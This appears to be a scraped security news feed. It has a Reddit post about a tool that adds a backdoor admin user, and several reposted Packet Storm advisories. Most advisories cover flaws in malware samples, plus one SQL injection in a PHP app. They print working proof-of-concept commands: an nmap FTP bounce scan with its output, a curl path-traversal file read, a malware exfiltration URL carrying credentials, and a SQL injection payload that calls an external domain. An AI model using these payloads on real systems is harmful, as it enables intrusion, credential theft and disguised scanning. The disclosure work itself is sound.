Another simple .NET executable to create and add a backdoor user
https://www.reddit.com/r/redteamsec/comments/rxjijb/another_simple_net_executable_to_create_and_add_a/

Another simple but useful .NET executable that creates and adds an arbitrary user or domain user to the Local Administrators groups. Very useful for privilege escalations on Windows (i.e. unquoted service path) Repo: https://github.com/notdodo/LocalAdminSharp submitted by /u/d_o_d_o_ (https://www.reddit.com/user/d_o_d_o_)
[link] (https://www.reddit.com/r/redteamsec/comments/rxjijb/another_simple_net_executable_to_create_and_add_a/) [comments] (https://www.reddit.com/r/redteamsec/comments/rxjijb/another_simple_net_executable_to_create_and_add_a/)

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Exploit Collector
Backdoor.Win32.Dsklite.a Denial Of Service

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Exploit Collector
Backdoor.Win32.Jtram.a Insecure Credential Storage

https://4.bp.blogspot.com/-hp3wB9AXd0k/WWlvDY5V44I/AAAAAAAAIKs/ScSIhWVAvDAhjeMkIwqbNby9r3gKQvOEgCLcBGAs/s1600/h128.png
Backdoor.Win32.Jtram.a malware suffers from an insecure credential storage vulnerability.

MD5 | a67cc235af4c610f3be1873cf9b09cf6

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/596882dfba543b23ad3225d24ee5e800.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Jtram.a
Vulnerability: Insecure Credential Storage
Description: The malware listens on TCP port 1321 as an FTP server. The credentials are stored in cleartext in a file named "rconnect.conf.
Type: PE32
MD5: 596882dfba543b23ad3225d24ee5e800
Vuln ID: MVID-2022-0442
Disclosure: 01/05/2022

Exploit/PoC:
C:\Windows\walker\rconnect.conf

"rconnect.conf"

LicenseName "thanksKRUPT"
LicenseKey "8337B4C8:7A6C84D2"
MaxConnections 100
BindInterface All
BindPort 1321
CommandTimeout 300
ConnectTimeout 15
LookupHosts On

Source:packetstormsecurity.com

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Exploit Collector
Backdoor.Win32.Jtram.a Man-In-The-Middle

https://4.bp.blogspot.com/-slZrAXCcTc4/WWlvSkUdx-I/AAAAAAAAINc/GD9pE2wpupUfP-XcYlxrz5jw2m91dZTOgCLcBGAs/s1600/h39.png
Backdoor.Win32.Jtram.a malware suffers from a man-in-the-middle vulnerability.

MD5 | a3b002448c3e199c3bd7785c3d3014f3

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/596882dfba543b23ad3225d24ee5e800_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Jtram.a
Vulnerability: Port Bounce Scan
Description: The malware listens on TCP port 1321. Third-party intruders who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: 596882dfba543b23ad3225d24ee5e800
Vuln ID: MVID-2022-0443
Disclosure: 01/05/2022
Exploit/PoC:
nmap -n -Pn -b common:common@192.168.18.129:1321 -p21,22,80 192.168.18.237 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-29 19:11 Pacific Standard Time
Resolved FTP bounce attack proxy to 192.168.18.129 (192.168.18.129).
Attempting connection to ftp://common:common@192.168.18.129:1321
Connected:220-rconnect 3.12, by WhitSoft Development (www.whitsoftdev.com)
220-You are connecting from 130.18.168.192.in-addr.arpa:5074.
220 Proceed with login.
Login credentials accepted by FTP server!
Initiating Bounce Scan at 19:12
Discovered open port 80/tcp on 192.168.18.237
Completed Bounce Scan at 19:12, 2.11s elapsed (3 total ports)
Nmap scan report for 192.168.18.237
Host is up.

PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.28 seconds
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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Exploit Collector
Simple Music Cloud Community System 1.0 SQL Injection

https://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png
Simple Music Cloud Community System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 8387cc4bb4b8123ef86e82323034a93c

Download
## Title: Simple Music Cloud Community System 1.0 SQL - Injections
## Author: nu11secur1ty
## Date: 01.05.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/14605/simple-music-cloud-community-system-using-phpmysqli-source-code.html

## Description:
The `email` parameter in `/music/ajax.php` from Simple Music Cloud
Community System 1.0 appears to be vulnerable to SQL injection
attacks.
The payload '+(select
load_file('\\\\bbqv9il1nuxps6uwt46g84o25tbmzdw7kynmf95xu.nu11secur1tyPenetrationTestingEngineer.net\\jeu'))+'
was submitted in the email parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
The attacker can take account control of all accounts plus an
administrator account on this system.
Status: CRITICAL

[+] Payload:

```mysql
---
Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=ebeqkuOOo@nu11secur1tyPenetrationTestingEngineer.net'+(select
load_file('\\\^beqku.nu11secur1tyPenetrationTestingEngineer.net\^beqku'))+''
AND (SELECT 5251 FROM (SELECT(SLEEP(3)))yymL) AND
'JocD'='JocD&password=debeliqkur
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Simple-Music-Cloud-Community-System)

## Proof and Exploit:
[href](https://streamable.com/i2yjbv)

Source:packetstormsecurity.com

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Exploit Collector
Backdoor.Win32.SVC Buffer Overflow

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Exploit Collector
XNU inm_merge Heap Use-After-Free

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Exploit Collector
Backdoor.Win32.Dsklite.a Insecure Transit

https://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png
Backdoor.Win32.Dsklite.a malware suffers from an insecure transit vulnerability that discloses credentials.

MD5 | da03b3b7e338fdc7973f7420211d05e7

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6c9665de78ae60a8e057d2c9cdb91596_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Dsklite.a
Vulnerability: Insecure Transit
Description: The malware listens on TCP ports 890, 891 and makes an outbound HTTP request passing the ip-address, username and credentials of the infected system in cleartext as part of the URL query string.
Type: PE32
MD5: 6c9665de78ae60a8e057d2c9cdb91596
Vuln ID: MVID-2022-0445
Dropped files: winlogon.exe
Disclosure: 01/05/2022

Exploit/PoC:
http://alch.port5.com/cgi-bin/log.cgi?action=log&ip=192.168.18.129&port=890&vicname=CockSucker&server=DSK%20v1&password=nhn221c5&usrname=gg

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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Exploit Collector
Backdoor.Win32.SubSeven.c Buffer Overflow

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Exploit Collector
Backdoor.Win32.SVC Directory Traversal

https://2.bp.blogspot.com/-B3So14l5bG8/WWlvkmPjF3I/AAAAAAAAIQ0/aTmhBdvFPYoCVmoynJbIAB0ZJhP5LcNMQCLcBGAs/s1600/h97.png
Backdoor.Win32.SVC malware suffers from a directory traversal vulnerability.

MD5 | ff4cc8791c4406d63805977f8482da0e

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/011961a42700e7385a106d362eb661c7_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.SVC
Vulnerability: Directory Traversal
Description: The malware listens on TCP port 9997. Third-party attackers who can reach an infected host can read any file on the system using "../" path traversal characters to break out of the root dir.
Type: PE32
MD5: 011961a42700e7385a106d362eb661c7
Vuln ID: MVID-2022-0447
Disclosure: 01/05/2022

Exploit/PoC:
curl http://x.x.x.x:9997/../../../../../Windows/system.ini
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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Hacking on Medium
TryHackMe: Crack the Hash | Writeup

https://cdn-images-1.medium.com/max/1640/1*ytD7j4O_J-Djx1j3aBk9xw.png
This room from TryHackMe contains some easy hash cracking challenges. In this write up, I have included all the solution and explanation…

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